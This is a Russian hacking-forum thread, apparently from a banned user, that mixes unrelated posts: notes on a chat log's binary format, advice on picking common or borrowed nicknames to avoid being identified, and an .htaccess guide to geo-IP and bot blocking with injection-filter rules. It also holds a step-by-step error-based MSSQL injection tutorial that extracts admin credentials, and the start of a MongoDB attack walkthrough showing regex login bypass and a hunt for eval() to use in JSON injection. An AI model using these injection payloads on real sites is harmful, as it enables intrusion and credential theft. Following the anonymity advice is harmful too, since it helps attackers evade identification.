Если бы 2 id был бы числом (тут точно сказать не могу но число должно быть не больше 0xFFFF0000) - то он указывал бы нам на следующее исходящее сообщение.

В принятых сообщениях все наоборот
5826120a17.gif

2 ID в последующей цепочке соответствует первому, а заканчивается она если 1 ID = 0x00000000

Формат сообщения такой:
Фиолетовым цветом выделены 8 байт даты в FILETIME формате (Time functions)
Далее идут строки в unicude с завершающим нулем (0x0000): ник, сообщение,
4 байта длинна и unicode строка RTF (Rich Text Format).

Если смотреть смещения от начала ника получается так:
-0x34 1 ID
-0x30 2 ID
-0x28 FILETIME

Формирование цепочки сообщений
Я сразу приведу реальный пример, чтобы было сразу понятно

Код:
[0x15ED : 0x15EB] Настоящий Индеец (02.11.2010 03:33):
я думал там разные символь
[0x057A : 0x15EC] Люблю metal... (02.11.2010 03:34):
не по хакерски
чувак показал дефейс одного турецкого кхакира
и там на черном фоне флаг
аще я опа круть... ведь такое не сложно замутить
[0x0000 : 0x15ED] Люблю metal... (02.11.2010 04:06):
пыщь пыщь
 
Внимание: этот пользователь заблокирован! Настоятельно рекомендуем воздержаться от любого сотрудничества с ним!
Как выбрать ник

Казалось бы, что может быть проще, напрячь немного воображение и придумать что-нибудь эдакое. Но "что-нибудь эдакое" нам совсем не подходит,
наоборот, нам нужно что-то распространённое, чтобы было сложнее отследить все наши аккаунты на других ресурсах, чтобы сложнее было в принципе,
как-то нас идентифицировать.

Итак, какими методиками можно пользоваться:

1. Находим Васю Пупкина пубертатного периода, который мечтает стать супер хакером, в связи с чем,
засветился уже на десятке другом форумов. Причём, если ещё легко можно нагуглить: его страницу в соц. сетях, адрес, телефон, то это вообще самый
лучший вариант.

Да, конечно, некоторые ребята будут с вами после этого разговаривать с высока, и есть риск не выполнить поставленные задачи, но грамотным людям,
достаточно немного намекнуть на происхождение вашего ника, если это будет необходимо, и в дальнейшем проблем не возникнет.

2. Находим бывшего Васю Пупкина, который теперь стал крутым кардером/ддосером/хостером и т.д.. Подобные люди, часто
не удосуживаются подчистить информацию за собой, а может, уже просто не могут т.к. пароли давно забыты, ящики утеряны,
а от ника отказываться не хочется, ну как же, старая рега, репутация, респект от таких же "коллег по цеху" для них очень многого стоит.

Чего точно не стоит делать, так это брать ники серьёзных дядек, т.к. есть риск, что за их успехи придётся затем отвечать именно вам.

3. Находим какое-нибудь слово, которое в топе выдачи выдаст кучу хлама, к примеру: ZTE A100, или T-shirt.
Конечно, кому надо, смогут выкроить нужную информацию, но таких минимум.


При всём этом стоит иметь десяток ников, десяток почтовых адресов, десяток асек и jabber-аккаунтов, аккаунтов в платёжных системах.
Будет не лишнем, под каждым ником вести свою линию, со своей стилистикой общения.


Да, конечно, мировая слава и признание к вам с таким подходом не придут, но на самом деле это вам и не надо,
просто, возможно, вы ещё об этом не догадываетесь. Не смотря на это, не стоит отказываться от написания статей
ставя копирайты соответствующего ника. Во-первых, информация быстро устаревает, во-вторых, вы сможете привлечь должное
отношение к своей 'персоне', в третьих, лучше разбрётесь в предмете статьи.


Как же при всём этом нарабатывать связи, иметь какую-то внушающую доверия историю?
Всё просто, для этого нужно специально подгонять 1 или 2 ника.
Не стоит никогда раскрывать все свои таланты и возможности, а просто медленно, но верно учавствовать в жизни
одного, или парочки перспективных проекта. Для этих целей лучше всего, конечно же, подходит k0d.cc т.к. аудитория тут весьма разнообразна,
но в основном сидят сильные (каждый в своей области) середнячки, правда тихо Конечно, аудитория из других эшелонов тоже бродит, но в меньшей степени.
Ешё можно обратить внимание на dl и rdot, зависит от направления вашего интереса.
 
Внимание: этот пользователь заблокирован! Настоятельно рекомендуем воздержаться от любого сотрудничества с ним!
Запрет доступа к сайту по IP-адресам стран

Наверное, многие web-мастера, которые не ленятся отслеживать логи посещений своих сайтов, задаются вопросом: «Как заблокировать доступ к сайту по IP адресам и отвадить надоедливых ботов и хакеров?» Собственно, проблема заключается не в том, каким способом запретить доступ к сайту. На помощь web-мастеру всегда придет конфигурационный файл .htaccess. Проблема в другом — в поиске списка диапазонов IP адресов, распределенных по географическому признаку.
Большинство моих сайтов рассчитаны на русскоязычную аудиторию. Географически — для Беларуси, России, Украины. Поэтому однозначно можно заблокировать IP адреса стран Африки, Юго-Восточной Азии и Южной Америки. Смотрите список IP адресов стран.
Оптимальное решение для запрета доступа к сайтам по выбранным IP адресам — использовать в файле .htaccess директиву Deny. Важно правильно установить порядок обработки правил — Allow,Deny или Deny,Allow:
При Allow,Deny сначала обрабатываются разрешающие правила Allow, затем запрещающие Deny. Действия, не подпадающие ни под одну из директив Allow или Deny, будут запрещены по умолчанию.
При Deny,Allow сначала обрабатываются запрещающие правила Deny, затем разрешающие Allow. Действия, не подпадающие ни под одну из директив Deny или Allow, будут разрешены по умолчанию.
Если перечислять все диапазоны IP адресов выбранных стран, список получается слишком длинным. Чтобы избежать этого, я решил заблокировать блоки IP адресов, отличающихся первым октетом (ХХХ.0.0.0/8). Получился совсем небольшой список, охватывающий большинство диапазонов IP адресов: AfriNIC (Африка), APNIC (Юго-Восточная Азия) и LACNIC (Южная Америка и страны Карибского бассейна Из списка я исключил блоки IP адресов ARIN (Северная Америка и RIPE Ближний Восток, Европа и Центральная Азия

Блокировка IP адресов директивой Deny

Разрешаем только методы GET, HEAD, POST:

Код:
Код:
<LimitExcept GET HEAD POST>
Order Allow,Deny
Deny from all
</LimitExcept>
Запрещаем доступ к сайту для методов GET, HEAD, POST с IP адресов AfriNIC, APNIC, LACNIC:
<Limit GET HEAD POST>
Order Deny,Allow
# AfriNIC:
Deny from 41 102 105 197
# APNIC:
Deny from 1 14 27 36 39
Deny from 42.0.0.0/7
Deny from 49
Deny from 58.0.0.0/7
Deny from 60.0.0.0/7
Deny from 101 103 106
Deny from 110.0.0.0/7
Deny from 112.0.0.0/5
Deny from 120.0.0.0/6
Deny from 124.0.0.0/7
Deny from 126 133 175 180
Deny from 182.0.0.0/7
Deny from 202.0.0.0/7
Deny from 210.0.0.0/7
Deny from 218.0.0.0/7
Deny from 220.0.0.0/6
# LACNIC:
Deny from 177 179 181
Deny from 186.0.0.0/7
Deny from 189
Deny from 190.0.0.0/7
Deny from 200.0.0.0/7
# Networks:
Deny from 3 6 9 11 13 15
Deny from 16.0.0.0/6
Deny from 20.0.0.0/7
Deny from 22 25 26
Deny from 28.0.0.0/7
Deny from 30 33
Deny from 34.0.0.0/7
Deny from 38 40 44 47 48
Deny from 51
Deny from 52.0.0.0/6
Deny from 56.0.0.0/7
Deny from 214.0.0.0/7
</Limit>

Данным правилом я запретил доступ к сайту для IP адресов стран Африки, Юго-Восточной Азии, Южной Америки и Карибского бассейна, а также некоторых корпораций и учрежний типа министерства обороны страны, скорый кирдык которой предрекал герой Сергея Бодрова в фильме «Брат». Обратите внимание, что в этом списке отсутствуют IP адреса из смешанных зон, которые можно найти на сайтах AfriNIC, APNIC, LACNIC и RIPE. Однако данные диапазоны отсекают основной объем паразитного трафика. IP адреса ARIN блокировать не рекомендуется, иначе роботы поисковых систем Bing, Google, Yahoo не смогут заходить на ваш сайт.
Я умышленно задал правило Order Deny,Allow, а не наоборот, чтобы иметь возможность добавить ниже разрешающие правила исключений некоторых IP адресов из заблокированных диапазонов.
Примечание: для отображения сообщения об ошибке 403 (доступ запрещен) лучше использовать не собственную страницу, а короткое сообщение, уменьшая тем самым нагрузку на сервер (какая вам разница, что увидят китаец или румын, пытавшиеся попасть на ваш сайт). Например, послать всех по известному адресу:
ErrorDocument 403 "**** you!
Обратите внимание на то, что в строке прописана только одна кавычка (для Apache 1.3). Для Apache 2.0 необходимо обязательно ставить закрывающую кавычку.


Блокировка IP адресов модулем Mod Rewrite

Используя модуль mod_rewrite, список IP адресов можно существенно сократить. В этом помогут регулярные выражения. Главное удобство модуля mod_rewrite в данной задаче — возможность использования правил исключений.


Блокировка IP адресов стран Северной Америки модулем Mod Rewrite

Задача: необходимо заблокировать IP адреса ARIN (стран Северной Америки), оставив доступ к сайтам для поисковых ботов Bing, Google, Yahoo. При этом на хостинге размещены несколько сайтов, один из которых предназначен для американской аудитории.
Для этого в корневой директории своего хостинга размещаем файл .htaccess, в котором прописываем следующее правило:
Код:
<IfModule mod_rewrite.c>
# Включаем модуль mod_rewrite:
RewriteEngine on
# Для файла .htaccess, расположенного в корневой директории сайта
RewriteBase /
RewriteCond %{REMOTE_ADDR} ^(?:7|23|45|50|6[3-9]|7[1-6]|9[6-9]|1(?:0[0478]|7[2-4]|84|99)|2(?:0[4-9]|16))\..*$
RewriteCond %{HTTP_HOST} !^(?:www\.)?my_english_site\.com$ [NC]
RewriteCond %{HTTP_USER_AGENT} !bingbot [NC]
RewriteCond %{HTTP_USER_AGENT} !(?:Googlebot|gsa-crawler) [NC]
RewriteCond %{HTTP_USER_AGENT} !Slurp [NC]
RewriteRule ^.*$ - [F,L]
</IfModule>
Данное правило модуля mod_rewrite блокирует IP адреса стран Северной Америки, если имя хоста не содержит my_english_site.com, и строка User Agent не содержит имена поисковых ботов Bing, Google, Yahoo. Правило действует на все сайты, размещенные на хостинге, за исключением домена my_english_site.com. Если нужно исключить все поддомены этого сайта, пишем:
RewriteCond %{HTTP_HOST} !^(?:.+\.)?my_english_site\.com$ [NC]
При использовании в файлах .htaccess, размещенных во вложенных директориях, правил модуля mod_rewrite не забудьте добавить наследование указанных правил, иначе они работать не будут:

Код:
Код:
<IfModule mod_rewrite.c>
RewriteEngine on
RewriteOptions inherit
RewriteBase /путь_к_директории_с_файлом_.htaccess_от_корня_сайта/
…
</IfModule>
Обязательно указывайте в RewriteBase путь к директории, в которой размещен файл .htaccess, от корня сайта. Все преобразования ссылок осуществляются относительно той директории, в которой расположен файл .htaccess. При этом унаследованные правила модуля mod_rewrite работают также относительно этой директории, то есть как бы копируются в новый файл. Если файл .htaccess расположен в директории /partners/web/access/, как данная статья, то:
Код:
RewriteBase /partners/web/access/
Использование общего файла .htaccess для всех сайтов возможно не на всех хостингах. В противном случае вам придется прописывать данные правила для каждого сайта в отдельности, что неудобно при редактировании (придется вносить изменения в файлы .htaccess каждого сайта).


Блокировка всех IP адресов, кроме стран СНГ, Bing, Google, Yahoo

Правило, блокирующее доступ к сайту со всех IP адресов, за исключением стран СНГ (включая Балтию) и поисковых ботов Bing, Google, Yahoo:
Код:
<IfModule mod_rewrite.c>
RewriteEngine on
RewriteBase /
# Запретить все IP, кроме СНГ, Bing, Google, Yahoo:
RewriteCond %{REMOTE_ADDR} !^(?:2|3|31|46|62|7[7-9]|8[0-9]|9[0-5]|1(?:09|28|3[046]|4[69]|5[89]|64|[78]8|9[2-5])|21[237])\..*$
RewriteCond %{HTTP_USER_AGENT} !bingbot [NC]
RewriteCond %{HTTP_USER_AGENT} !Googlebot [NC]
RewriteCond %{HTTP_USER_AGENT} !Slurp [NC]
RewriteRule ^.*$ - [F,L]
</IfModule>
В данное правило включены диапазоны IP адресов по первому октету, в которые входят IP адреса всех бывших республик СССР (включая Латвию, Литву и Эстонию). Данное правило не блокирует IP адреса других европейских стран, которые также входят в данный диапазон. Правило удобно применять для сайтов, ориентированных исключительно на аудиторию СНГ. Правда, если в будущем список IP-адресов, закрепленных за странами СНГ, расширится, новые адреса окажутся в числе запрещенных.


Защита сайта с помощь модуля mod_setenvif

Модуль mod_setenvif, позволяющий использовать регулярные выражения, на мой взгляд, представляет наиболее удобный способ защиты сайта.
Код:
<IfModule mod_setenvif.c>
# Блокировка ботов по User Agent:
SetEnvIfNoCase User-Agent "(?:Accoona|antabot|Ask Jeeves/Teoma|Baiduspider|Bigmir|China|curl/|Dolphin|Download|EltaIndexer|Email|FlashGet|GameSpy|Gigabot|grub|Gulper Web|ia_archiver|liveinternet|Meta|Mihalism|OmniExplorer|Pag***ll|Scooter|Twiceler|Validator|WebAlta|Wget|WordPress).*$" bot
# Блокировка IP-адресов AfriNIC, APNIC, LACNIC:
SetEnvIf Remote_Addr ^(?:[346-9]|1[1-35-9]|2[0-25689]|3[02-58]|4[04578]|5[1-7]|21[45])\..*$ ip
# AfriNIC:
SetEnvIf Remote_Addr ^(?:41|102|105|197)\..*$ ip
# APNIC:
SetEnvIf Remote_Addr ^(?:1|14|27|3[69]|4[239]|5[89]|6[01]|1(?:0[136]|1[0-9]|2[0-6]|33|75|8[023])|2(?:0[23]|1[0189]|2[0-3]))\..*$ ip
# LACNIC:
SetEnvIf Remote_Addr ^(?:1(?:7[79]|8[1679]|9[01])|20[01])\..*$ ip
# Запрет для слишком активного бота Dolphin со всей их хитрож… мудрой компанией (бот ходит с IP-адреса 94.127.144.38, выполняя многочисленные запросы с «левыми» параметрами на несуществующие страницы):
SetEnvIf Remote_Addr ^94\.127\.14[45]\..*$ ip
# Запрет хоста еще одной хитрож… мудрой компании (на своем говносайте эти мудаки размещают спамерские ссылки на чужие сайты, среди которых вы можете обнаружить и свой), заодно жалуемся на них в службу поддержки Яндекса:
SetEnvIf Referer ^https?://(?:.+\.)?amazing\.ru/.*$ shit
SetEnvIf Remote_Addr ^213\.189\.197\.7$ shit
# Запрет языковых версий браузера - Arabic|Hindi|Turkish|Chinese:
SetEnvIfNoCase Accept-Language (?:ar|hi|tr|zh) banned
<Limit GET HEAD POST>
Order Deny,Allow
# Запрет всех IP-адресов одной хитрож… мудрой компнии, которая позиционирует себя на рынке поискового продвижения сайтов (чем на самом деле занимается, непонятно, но их бот систематически простукивает сайты, ежесекундно меняя IP-адреса из всего диапазона):
Deny from 94.77.64.0/18
Deny from env=banned
Deny from env=bot
Deny from env=ip
Deny from env=shit
</Limit>
</IfModule>
Если необходимо заблокировать какую-либо сеть, разрешив доступ к сайту с некоторых IP-адресов этой сети, пишем:
Код:
Order Deny,Allow
Deny from 94.77.64.0/18
Allow from 94.77.64.50 94.77.64.51 94.77.64.52
Правила блокировки для IP адресов стран Европы я не составлял. Слишком много диапазонов, распределенных по разным странам, включая СНГ. Если не лень, можно отлавливать засланцев по логам. Если IP принадлежит хостинг-провайдеру, можно смело блокировать всю сеть, поскольку зайти из нее может только бот. Дополнительно можно использовать блокировку доступа к сайту по User Agent известных ботов. Смотрите список User Agent ботов.
P.S. Используя вышеописанный метод, я запретил также возможность доступа к своему компьютеру (англоязычные сайты меня не интересуют), прописав в правилах сетевого экрана указанные диапазоны IP адресов (исключая зоны ARIN и RIPE). Правда, у меня по умолчанию всего-то открыты 2 порта, и жестко настроена групповая политика (Windows XP SP2), но это тема уже другой статьи. А пока можете ознакомиться с простым и эффективным способом защиты почты от спама.

Дополнительные настройки в файле .htaccess

Защита сайта от «левых» параметров в запросах

Код:
Код:
<IfModule mod_rewrite.c>
# RewriteCond %{THE_REQUEST} \?[0-9A-Z] [NC,OR] (если не используете ссылки с параметрами, раскомментируйте строку)
RewriteCond %{THE_REQUEST} (?:\%[0-9A-Z]*|\&|\(|\)|\+|\[|\]|\<|\>) [NC,OR]
RewriteCond %{THE_REQUEST} (?:\<|%3C).*script.*(?:\>|%3E) [NC,OR]
RewriteCond %{THE_REQUEST} _REQUEST(?:=|\[|\%[0-9A-Z]{0,2}) [NC,OR]
RewriteCond %{THE_REQUEST} base64_encode.*\(.*\) [NC,OR]
RewriteCond %{THE_REQUEST} DOCUMENT_ROOT= [NC,OR]
RewriteCond %{THE_REQUEST} GLOBALS(?:=|\[|\%[0-9A-Z]{0,2}) [NC,OR]
RewriteCond %{THE_REQUEST} javascript [NC,OR]
RewriteCond %{THE_REQUEST} mosConfig_[a-zA-Z_]{1,21}(?:=|\%3D) [NC]
RewriteRule ^.*$ - [F,L]
</IfModule>
Запись выше можно существенно сократить:

Код:
RewriteCond %{QUERY_STRING} (?:\?.*\?|_REQUEST|base64_encode|GLOBALS|mosConfig_|script) [NC,OR]
RewriteCond %{THE_REQUEST} (?:\%[0-9A-Z]*|\&|\(|\)|\+|\[|\]|\<|\>)
RewriteRule ^.*$ - [F,L]

Либо  глобально разрешаем только, например, три метода (GET, HEAD, POST) с  заранее указанными символами в строке http-запроса, причем метод POST  разрешается только для указанного REQUEST_URI:
RewriteCond  %{THE_REQUEST} !^(?:GET|HEAD)\  /(?:[разрешенные_символы_REQUEST_URI]+(?:\?[разрешенные_символы_QUERY_STRING]+)?)?\  HTTP/1\.[01]$
RewriteCond %{THE_REQUEST} !^POST\ /разрешенный_для_метода_POST_REQUEST_URI\ HTTP/1\.[01]$
RewriteRule ^.*$ - [F,L]
Защита сайта от хотлинка

Запрещаем скачивание графических файлов на сайте по прямым ссылкам:
Код:
<IfModule mod_setenvif.c>
SetEnvIfNoCase Referer ^$ empty
SetEnvIfNoCase Referer ^http://(?:.+\.)?my_site\.ru/.*$ host
SetEnvIf Referer ^https?://(?:.+\.)?(?:google|yandex)\.(?:com?\.)?[a-z]{2,3}/.*$ host
SetEnvIf Referer ^https?://(?:.+\.)?googleusercontent\.com/.*$ host
<FilesMatch "\.(?:gif|jpg|png)$">
Order Deny,Allow
Deny from all
Allow from env=empty
Allow from env=host
</FilesMatch>
</IfModule>
То же самое с помощью модуля mod_rewrite:

Код:
<IfModule mod_rewrite.c>
RewriteCond %{HTTP_REFERER} !^$
RewriteCond %{HTTP_REFERER} !^http://(?:.+\.)?my_site\.ru/.*$ [NC]
RewriteCond %{HTTP_REFERER} !^https?://(?:.+\.)?(?:google|yandex)\.(?:com?\.)?[a-z]{2,3}/.*$ [NC]
RewriteCond %{HTTP_REFERER} !^https?://(?:.+\.)?googleusercontent\.com/.*$ [NC]
RewriteRule .*\.(?:gif|jpg|png)$ - [F,L]
</IfModule>
 
Последнее редактирование:
Внимание: этот пользователь заблокирован! Настоятельно рекомендуем воздержаться от любого сотрудничества с ним!
проведение инъекции в mssql

Немного об MSSQL

MSSQL - довольно распространенная база данных,разработанная компанией Microsoft.
Основной язык - Transact-SQL.
В данной статье мы расмотрим инъекцию в базе данных MSSQL.Итак пожалуй начнем...
Ошибки MSSQL

Пусть у нас будет некоторый сайт _http://www.site.com/news.asp?id=5.
Попробуем подставить в url одинарную кавычку:
_http://www.site.com/news.asp?id=5'
видим ошибку:

Код:
Microsoft OLE DB Provider for SQL Server error '80040e14'

Line 1: Incorrect syntax near '''.
Также может быть такая ошибка:

Код:
Microsoft OLE DB Provider for SQL Server error '80040e14'

Unclosed quotation mark before the character string ';'.
Теперь давайте попробуем узнать версию,имя базы и юзера.
Для этого выполним следующие запросы:

Код:
1:_http://www.site.com/news.asp?id=5+ or+1=@@version--
2:_http://www.site.com/news.asp?id=5+ or+1=(select db_name())--
3:_http://www.site.com/news.asp?id=5+or+1=(select system_user)--
Выполнив первый запрос видим следующее:

Microsoft OLE DB Provider for SQL Server error '80040e07'

Код:
Syntax error converting the nvarchar value 'Microsoft SQL Server 2000 - 8.00.2039 (Intel X86) May 3 2005 23:18:38 Copyright (c) 1988-2003 Microsoft Corporation Enterprise Edition on Windows NT 5.2 (Build 3790: Service Pack 2) ' to a column of data type int.
где "Microsoft SQL Server 2000 - 8.00.2039 (Intel X86) May 3 2005 23:18:38 Copyright (c) 1988-2003 Microsoft Corporation Enterprise Edition on Windows NT 5.2 (Build 3790: Service Pack 2) "-версия.

Подбор таблиц и колонок


Для подбора таблиц будем использовать следующий запрос:
Код:
5+or+1=(select+top+1+table_name+from+information_schema.tables)--
Итак пробуем:
_http://www.site.com/news.asp?id=5+or+1=(select+top+1+table_name+from+i nformation_schema.tables)--

Видим ошибку:
Код:
Microsoft OLE DB Provider for SQL Server error '80040e07'

Syntax error converting the nvarchar value 'table1' to a column of data type int.
Где table1 имя первой таблицы.Тепере давайте узнаем другие таблицы.Составим следующий запрос:

_http://www.site.com/news.asp?id=5+or+1=(select+top+1+table_name+from+i nformation_schema.tables+where+table_name+not+in+( 'table1'))--

Видим ошибку:

Код:
Microsoft OLE DB Provider for SQL Server error '80040e07'

Syntax error converting the nvarchar value 'table2' to a column of data type int.
Где table2 имя второй таблицы.Таким образом перебираем все таблицы:
Код:
(select+top+1+table_name+from+information_schema.tables+where+table_name+not+in+('table1','table2',.....'tablen'))--
Когда мы нашли нужную нам таблицу, мы должны узнать ее колонки.Пишем следующий запрос:
Код:
5+or+1=(select+top+1+column_name+from+information_schema.columns+where+table_name='table5')--
Этим запросом мы узнаем первую колонку таблицы table5.Для того чтобы узнать все колонки составим следующий запрос:
Код:
5+or+1=(select+top+1+column_name+from+information_schema.columns+where+table_name='table5'+and+column_name+not+in+('column1','column2',.....'columnn'))--
Пусть table5 содержит следующие колонки:

Код:
id username userpwd
Для вывода этих данных будем использовать следующий запрос:
_http://www.site.com/news.asp?id=5+or+1=(select+top+1+username+from+tab le5)--

видим следующую ошибку:

Код:
Microsoft OLE DB Provider for SQL Server error '80040e07'

Syntax error converting the nvarchar value 'admin' to a column of data type int.
Где админ имя первого юзера.Такой вывод данных не очень удобный т.к.
данные придется выводить по одному и отдельно.Для совместного получения данных воспользуемся функцией cast().Итак пробуем:

Код:
5+or+1=(select+top+1+cast(username+as+nvarchar)%2B%27%3A%27%2Bcast(userpwd+as+nvarchar)+from+table5))--
Видим следующее:

Код:
Microsoft OLE DB Provider for SQL Server error '80040e07'

Syntax error converting the nvarchar value 'admin:qwerty
' to a column of data type int.
%2B%27%3A%27%2B - закодированные +':'+ .Без кодировки вылезает следующая ошибка:

Код:
Microsoft OLE DB Provider for SQL Server error '80040e14'

Line 1: Incorrect syntax near 'cast'.
Теперь у нас есть логин и пароль админа но можно проверить есть ли еще юзера
для этого в конец предыдущего запроса добавим "+where+id=2" где "id=2"-имя второго юзера запрос примет следующий вид:

Код:
5+or+1=(select+top+1+cast(username+as+nvarchar)%2B%27%3A%27%2Bcast(userpwd+as+nvarchar)+from+table5"+where+id=2))--
Все инъекция прошла успешно.

Видео можете посмотреть http://youtube.googleapis.com/v/lezxftt3DAo&fs
 
Внимание: этот пользователь заблокирован! Настоятельно рекомендуем воздержаться от любого сотрудничества с ним!
в данной статье я постараюсь подробно рассказать и показать что рассказы про то что NOSQL решения более безопасны нежели их sql собратья это бред сивой кобылыВложение 669 но предже чем я начну пояснять техники взлома давайте разберемся какие субд данной категории бывають и с чем их едят ...


в примеры приведу не все что есть но самые популярные попрорбую описать ...

[1] ориентированные на хранение распределенных хеш таблиц (не путать с sql таблицами)

Redis
BigTable -- википедия ...
Мemcached
couchbase она-же membase -- вроде как-то связана с memcached

[2] xml - ориентированные БД

Еxist
BaseХ

[3] обьектно-ориентированные БД

db4o -- гребаные дотнетчики аж блевать захотелось Вложение 669
Сache

[4] документально-ориентированные БД

МongoDB
СouchDB

[5] БД основанные на графах

neo4j
Sones GraphDB


ну основное вроде перечислил теперь давайте рассмотрим все это ближе и первое что бросаеться в глаза это разнообразность всевозможных способов создания запроса к этим типам баз данных что уже как-бы намекает на то что если быдлокодерам было не защититься от внедрения "злого" SQL кода то тут количество векторов атаки существенно выросло ну и как следствие кол-во дыр тоже

для начала наверное стоит понять как-же работают такие СУБД

1) приложение -> 2) api базы данных -> 3)сервер базы данных

из этого видно следующее :

1) на уровне приложения мы имеем кучу быдлокода поэтому модифицировать запрос труда не составит ...
2) на уровне апи шансы найти лазейку выше так-как все эти либы для доступа к бд разрабатываеться гораздо меньшим количеством людей поэтому тут буффер оверфлоу нормальное явление ...
3) на уровне сервера остаеться только искать переполнение кучи по багтрекам ( или при наличии прямых рук и знания ЯП можно накодить хороший фаззер и ...)


теперь коротко о порядке действий при взломе этих БД :

1) сканим nmap-ом какая из БД установлена , хотя в идеале накодить соответствующий скрипт который постараеться не только определить тип и версию БД но и попробует пропалить каким из способов осуществляються запросы к БД

2) поиск данной БД по багтрекерам (типа exploit-db) я например ищу при помощи этой темки :
код файла wsa.html (охрененная штука всем рекомендую к юзанью)

PHP код:http://f-bit.ru/156010
залил на обменик потому что код в 4000 тыс цыфр.
 
Последнее редактирование:
Внимание: этот пользователь заблокирован! Настоятельно рекомендуем воздержаться от любого сотрудничества с ним!
[/SPOILER]

3) пытаемся модифицировать запрос , для чего сначала придеться выкурить какие способы запросов использует атакуемый ресурс ...

для того что-бы поиграться давайте выберем node js и самую попсовую nosql db - MongoDB (кстати такая связка встречаеться и в реале)

почитать что такое node js а так-же скачать последнюю можно на офф сайте
а выкурить ман по языку запросов mongodb можно тут
очень порадовало то что разрабы node.js проработали сборку из исходников что хорошо видно на следующем скрине :

2111242d508b.png


а вот и хелп по node.js :

957e5d6cddf8.png


монгодб я поставил аптгетом а вы-же если последний будет отсутствовать в репах можете скачать с оффсайта

теперь осталось запустить сервер mongodb , для чего для начала определимся с тем где у нас будет лежать ДБ , по дефолту нас попытаються отослать в \data\db и будут материть за то что такой диры нема , конечно только в том случае если у нас ее действительно нема , так-что создаем любую диру где угодно тут главное постарайтесь избежать рашн символов в пути к папке я например создал /root/db (я root-оман и сижу под рутом так-что мне можно )))) и смотрите скрин как заставить бд не выеживаться и разместить ДБ там где нам надо (в папке так-же будет создан файл блокировки) ну вобщем на скрине все видно ...

6c832d6788e1.png


теперь при помощи ctrl+c заглушим интерфейс (но не саму БД) и перейдя в лиректорию с уязвимым приложением установим его см скрин

5ec0dfeff458.png
 
Последнее редактирование:
Внимание: этот пользователь заблокирован! Настоятельно рекомендуем воздержаться от любого сотрудничества с ним!
затем редактируем конфиг находящийся : "дира с уязвимым приложением/lib/config.js" последний должен бытиь следующего содержания :
a599d956c1fe.png

если у вас он по каким-то причинам отличаеться то не стесняйтесь его подправить

на этом наконец-то все приготовления закончены и можно запустить "уязвимое приложение" выполнив следующую команду в папке с уязвимым приложением (этот терминал так-же как и тот в котором запущен сервер монгодб закрывать ненадо ! ! ! ) :



тут наверное стоит пояснить что node.js сама по себе не являеться сервером а лишь предоставляет АПИ для быстрого кодинга последнего на javascript-e ну и естественно АПИ для работы веб-приложений на js на стороне сервера а не браузера как все к этому привыкли ... порт был выбран именно 31337 в связи с тем что автор уязвимого приложения Copyright (c) 2011, 2012, Ilya Verbitskiy в описании своего творения работал именно на этом порту но если вы повесите сервер на 80-й порт я думаю ничего смертельного не произойдет (сам не пробовал ибо пох)
осталось только открыть в браузере http://127.0.0.1:31337/ и увидев приблизительно то-же что на следующем скрине очередной раз убедиться что вы не криворукая скотина и начать играться с техниками взлома данной БД ..

da0282dd3fba.png

ну теперь когда инфы достаточно для понимания того что будет описываться в статье пора уже начать атаковать и начнем мы пожалуй с того то монго0дб поддерживает регулярки в своих запросах а это просто шикарно для нас с вами ...

для начала в уязвимом приложении откроем в менюхе MongoDB пункт "иньекции регулярных выражениях" ...

незнаю как вы а я могу сказать что тот человек который говорит что эта БД неуязвима несмотря на то что разрешены регулярки - ПОЛНЫЙ ПСИХ Вложение 669

если вы внимательно читали ман по языку запросов монгодб (что я скидывал выше) то вы уже должны знать что для того что-бы заюзать регулярку в поисковом запросе надо использовать оператор $regex тоесть если-бы у нас был юзер с логином zalupogryz то для того что-бы его выцепить из БД при помощи регулярки запрос принял-бы следующий вид :
Код:
db.users.find({login: {$regex: "^zal"}})
это если мы делали-бы запрос напрямую в БД но у нас куча JS кода поэтому что-бы упростить себе жизнь в поиске того места где юзаеться регулярка непосредственно в коде заюзаем grep так как это показано на скрине (тут конечно заведомо известно какая функция дырявая но я хочу показать как надо действовать в реальной боевой ситуации ):

974b011afc4f.png
 
Внимание: этот пользователь заблокирован! Настоятельно рекомендуем воздержаться от любого сотрудничества с ним!
здесь ооооооооочень длинный вывод "грепа" каждое срабатывание которого вам пришлось-бы разбирать если-бы в конкретном случае не было-бы заведомо известно что дырка будет тут ...

759779e5831b.png

теперь давайте откроем этот файл ... /lib/mongodb.js и посмотрим на уязвимую функцию :

Код:
"regexp": function () {

pageTitle = locale.mongoRegexpTitle;



processRequest(function (login, password) {

var regexpPwd = new RegExp("^" + password, "i");

var loginParam = { login: login, password: regexpPwd };



return loginParam;

});

},
из нее мы видим что пароль вытягиваться при помощи регулярки и нам совершенно ничто не мешает ее видоизменять так-как вводимые данные ни в этой функции н в остальном коде не фильтруються ну что-же давайте попробуем указать юзера "root" а в поле ввода пароля введем

Код:
[\s\S]*
кто не понял что это - а ну-ка шнель учить регулярки !

и мы увидим что приложение с радостью нам сообщит об том что мы успешно залогинились )

25238cfd8ebf.png


кто еще не догадался это происходит потому-что база данных получит на вход следуюший запрос :

Код:
db.users.findOne(login: 'root' , password : /^[\s\S]*/i)
поэтому все и получилось

итак с первой дырой мы разобрались теперь давайте будем курить вторую ...
постольку поскольку сейчас мы будем работать с JSON то отправляйтесь читать вики ТЫК № 1 , ТЫК № 2

прочитали ..? зае*сь ! теперь можно и пытаться заюзать соответствующую дырку в нашем приложении для чего в уже знакомом нам меню (в браузере) переключимся на пункт "JSON-иньекции"

теперь приступим к поиску уязвимости , тут конечно нет однозначного алгоритма поиска так-что в боевой ситуации пришлось-бы лопатить весь код , но в конкретной ситуации нам помог-бы поиск всех eval() - ов (последнее может пригодиться не только для таких иньекций ) что мы и сделаем при помощи грепа

Код:
root@bt:~/vuneranility app# grep -r 'eval(' *
deps/haml-js/haml.js: eval("_$output =" + js );
deps/node-mongodb-native/lib/mongodb/collection.js: this.db.eval(new Code(groupfn, scope), function (err, results) {
deps/node-mongodb-native/lib/mongodb/bson/bson.js: eval("value = " + code_string);
deps/node-mongodb-native/lib/mongodb/bson/bson.js: eval("value = " + code_string);
deps/node-mongodb-native/deps/nodeunit/deps/json2.js: j = eval('(' + text + ')');
deps/node-mongodb-native/deps/nodeunit/examples/browser/nodeunit.js: j = eval('(' + text + ')');
lang/ru.js: mongoSsjiEvalTitle: "Mongo DB: Инъекции JavaScript - db.eval(...)",
lang/ru.js: hamlMongoDbSSJIEval: "db.eval(...)",
lang/en.js: mongoSsjiEvalTitle: "Mongo DB: Server Side JavaScript Injection - db.eval(...)",
lib/mongodb.js: db.eval(loginParam.jsCode, processLoginResults);
lib/mongodb.js: var loginParam = eval("({ login: '" + login + "', password: '" + password + "' })");
root@bt:~/vuneranility app#
